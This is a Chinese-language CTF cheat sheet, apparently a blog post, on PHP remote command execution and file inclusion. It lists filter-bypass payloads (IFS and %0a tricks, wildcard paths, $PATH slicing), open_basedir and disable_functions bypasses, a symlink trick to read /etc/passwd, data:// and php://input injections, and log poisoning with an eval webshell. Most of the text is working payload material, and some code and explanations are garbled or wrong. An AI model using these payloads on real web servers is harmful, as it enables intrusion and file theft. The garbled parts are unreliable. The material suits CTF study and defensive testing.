一、RCE的定义

RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。

二、RCE利用函数

REC利用函数

三、命令执行绕过

1.过滤cat,flag等关键词

RCE绕过之过滤关键词

2.过滤空格

%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}

3.过滤目录分隔符 (/)

例子:

<?php
$res = FALSE;
if (isset($_GET['cmd']) && $_GET['cmd']) {
    $ip = $_GET['cmd'];
    $m = [];
    if (!preg_match_all("/\//", $cmd, $m)) {
        $cmd = "ping -c 4 {$cmd}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

采用多个管道命令

;cd flag;cat *

4.过滤分隔符 | & ;

①可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号
功能符号payload
换行符%0a?cmd=123%0als
回车符%0d?cmd=123%0dls
连续指令;?1=123;pwd
后台进程&?1=123&pwd
管道|?1=123|pwd
逻辑运算||或&&?1=123&&pwd
符号功能
分号
|只执行后面那条命令
||只执行前面那条命令
&两条命令都会执行
&&两条命令都会执行
②?>代替;

在php中可以用?>来代替最后一个;因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。

5.字符串长度受限

RCE绕过之字符串长度受限

6.无回显

RCE绕过之无回显

7.Perl中open命令执行(GET)

RCE绕过之GET命令执行

8.无数字字母getshell

RCE绕过之无数字字母getshell

9.过滤括号

①使用不需要括号的函数
echo
echo `cat /flag` 
require
require '/flag'

②使用取反

<?=require~%d0%99%93%9e%98?> 

10.无参数RCE

RCE绕过之无参数RCE

11.内敛执行

将``或$()内命令的输出作为输入执行

常用payload:

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

在这里插入图片描述

12.open_basedir绕过

①利用chdir()与ini_set()组合绕过

使用chdir(‘img’)到文件的子目录

获取目录:

code=chdir('img');ini_set('open_basedir',''..'');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

读取文件:

?cmd=chdir('/tmp');mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(file_get_contents(文件名));
②利用glob://伪协议绕过

PS:此方法只能列出根目录下的文件

glob:// — 查找匹配的文件路径模式。

glob://是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,其用法示例如下:

<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

绕过原理:只是用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容

Ⅰ.DirectoryIterator+glob://

DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件:

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

输入glob:///*即可列出根目录下的文件,但是会发现只能列根目录和open_basedir指定的目录的文件

例子:ctfshow-web入门72

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}
else{
    highlight_file(__FILE__);
}
?>

payload:

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();?>

发现flag0.txt

Ⅱ.opendir()+readdir()+glob://

opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目

这里结合两个函数来列举根目录中的文件:

c=?><?php
if ( $b = opendir("glob:///*") ) {
    while ( ($file = readdir($b)) !== false ) {
        echo $file."<br>";
    }
    closedir($b);
}
exit(0);
?>

效果和①是一样的,只能绕过 open_basedir来列举根目录中的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件

例子:ctfshow-web入门72

payload:

c=?><?php if($b = opendir("glob:///*")){while(($file = readir($b))!==false){echo $file." ";}closedir($b);exit(0);?>

发现flag0.txt

③利用syslink()函数绕过

在这里插入图片描述

符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身
绕过方式:

原理是创建一个链接文件flag用相对路径指向A/B/C/D,再创建一个链接文件exp指向flag/…/…/…/…/etc/passwd,其实就是指向了A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。这时候删除aaa文件再创建aaa目录但是exp还是指向了aaa也就是A/B/C/D/…/…/…/…/etc/passwd,就进入了路径/etc/passwd

PS:payload构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个…/来设置目标文件。

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","flag");
symlink("flag/../../../../etc/passwd","exp");
unlink("flag");
mkdir("flag");
?>

13.disable_function绕过

PHP绕过disable_function限制

PHP绕过disable_function限制

14.通配符+绝对路径调用命令

原理:
因为默认配置了环境变量使用才可以直接使用cat 等命令,但是可以使用路径调用命令如 /bin/cat,再加上通配符就能绕过很多限制

base64 flag.php
/bin/base64 flag.php
/???/???e64 flag.php

在这里插入图片描述

(ZmxhZ3tJX0FNX0FfRkxBR30= 为flag{I_AM_A_FLAG}的十六进制编码)

例子:

<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

主要过滤了字母,分号,<>,使用通配符代替字母,目录调用命令即可。

payload1:

/???/????64 ????.???  #/bin/base64 flag.php

在这里插入图片描述

payload2:

/???/???/????2 ????.??? #/usr/bin/bzip2 flag.php

然后下载flag.php.bz2

在这里插入图片描述

15.grep绕过关键词过滤

grep { f???????
相当于
grep { flag.php

在这里插入图片描述

16.使用~$()构造数字

使用~$()构造数字

17.绕过disable_functions

当getshell后却无法执行系统命令
在这里插入图片描述

因为可能被设置了disable_functions函数,我们可以通过uaf脚本来绕过这个函数。

这里涉及到很多pwn的知识,本人主要学习web,对pwn的认识比较浅薄,在这里推荐几篇优秀的文章供大家参考。

推荐文章:

绕过Disable Fucntons

PHP绕过disable_function限制

UAF的学习 Wiki

18.利用php内置类rce

①利用 FilesystemIterator 获取指定目录下的所有文件

例子:ctfshow-web110

 <?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}
?>

payload:

?v1=FilesystemIterator&v2=getcwd

在这里插入图片描述

②使用PHP的反射类ReflectionClass、ReflectionMethod和PHP异常处理 Exception来rce

例子:

ctfshow-web109

<?php
highlight_file(__FILE__);
error_reorting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}
?> 

payload:

?v1=Exception&v2=system('cat *') 
?v1=Reflectionclass&v2=system('cat *')

在这里插入图片描述

19.$PATH环境变量绕过

在这里插入图片描述

①大写字母数字和{}绕过

echo ${PATH:5:1}${PATH:11:1}

在这里插入图片描述

${PATH:5:1}${PATH:11:1} 1
相当于
ls 1

在这里插入图片描述

②大写字母和{}绕过

当不允许我们使用数字时,我们可以用环境变量长度来代替数字
在这里插入图片描述
PS:不同系统的环境可能不同,所以环境变量的长度可能不同。

我们可以用下列语句搜寻我们预期长度的环境变量

for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 5

在这里插入图片描述

for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 11

在这里插入图片描述

所以构建语句

${PATH:${#XDG_MENU_PREFIX}:1}${PATH:${#XDG_RUNTIME_DIR}:1} 1
相当于
ls 1

四、文件包含

伪协议文件包含(伪协议后必须是文件绝对路径)

file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入输出流
zlib:// 压缩流
data:// 数据
ssh2:// security shell2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径

包含函数
在这里插入图片描述

①php://input

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype="multipart/form-data" 的时候 php://input 是无效的。

在这里插入图片描述

例子:

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

payload:

/?file=php://input

<?php system(“ls /”)?>

在这里插入图片描述

在这里插入图片描述

②.php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

在这里插入图片描述在这里插入图片描述

php://filter的各种过滤器

③data://

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

在这里插入图片描述

data://text/plain;base64

读php文件源码:

data:text/plain,<?php system('cat /flag');?>

者命令执行:

data:text/plain,<?php system('whoami');?>

④zip://,bzip2://,zlib://,phar://

把shell压缩到zip中,如果file参数可控,可以通过该协议访问压缩包中文件

payload如下:

index.php?file=phar://uploads/flag.zip/flag.php

例子:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

payload:

?file=compress.zlib://flag.php

⑤file伪协议

Linux:http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd		//绝对路径
Windows	:http://192.168.6.128:8001/vulnerabilities/fi/?page=file:///C:\DVWA-master\vulnerabilities\fi\1.txt  //绝对路径

⑥日志包含

先读取日志文件,发现可以读取

file=/var/log/nginx/access.log

file=/var/log/nginx/error.log

可以上传一句话木马,进行连接。

例子:

ctfshow萌新计划web20

<?php 
if(isset($_GET['c'])){ 
       $c=$_GET['c']; 
       if(!preg_match("/php|file|base|rot/i",$c)){ 
               include($c); 
       } 


}else{ 
        highlight_file(__FILE__); 
} 
?> 
?c=/var/log/nginx/access.log

burpsuite抓包,修改User-Agent为<?php @eval($_POST['hack']);?>

在这里插入图片描述

蚁剑访问:http://chall.ctf.show/?c=/var/log/nginx/access.log

在这里插入图片描述
在这里插入图片描述

⑦固定后缀包含 include($c.".php");

例子:

ctfshow-web39

//flag in flag.
phperror_reporting(0);
if(isset($_GET'c'])){
	$c= $_GET['c'];
	if(!preg_match("/flag/i",$c)){
		include($c.".php");
	}
}else{
		highlight_file(_FILE__);
}

payload:

使用data协议

?c=data:text/plain,<?php system('cat *');?>

在这里插入图片描述

⑧利用session.upload_progress进行文件包含

利用session.upload_progress进行文件包含

参考

浅谈PHP无回显命令执行的利用

Perl中GET命令执行

无字母数字的webshell

无参数函数RCE

PHP Parametric Function RCE

CTF-RCE-总结(只记录解题方法,不记录具体原理)

Bypass open_basedir

文件包含中的伪协议

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐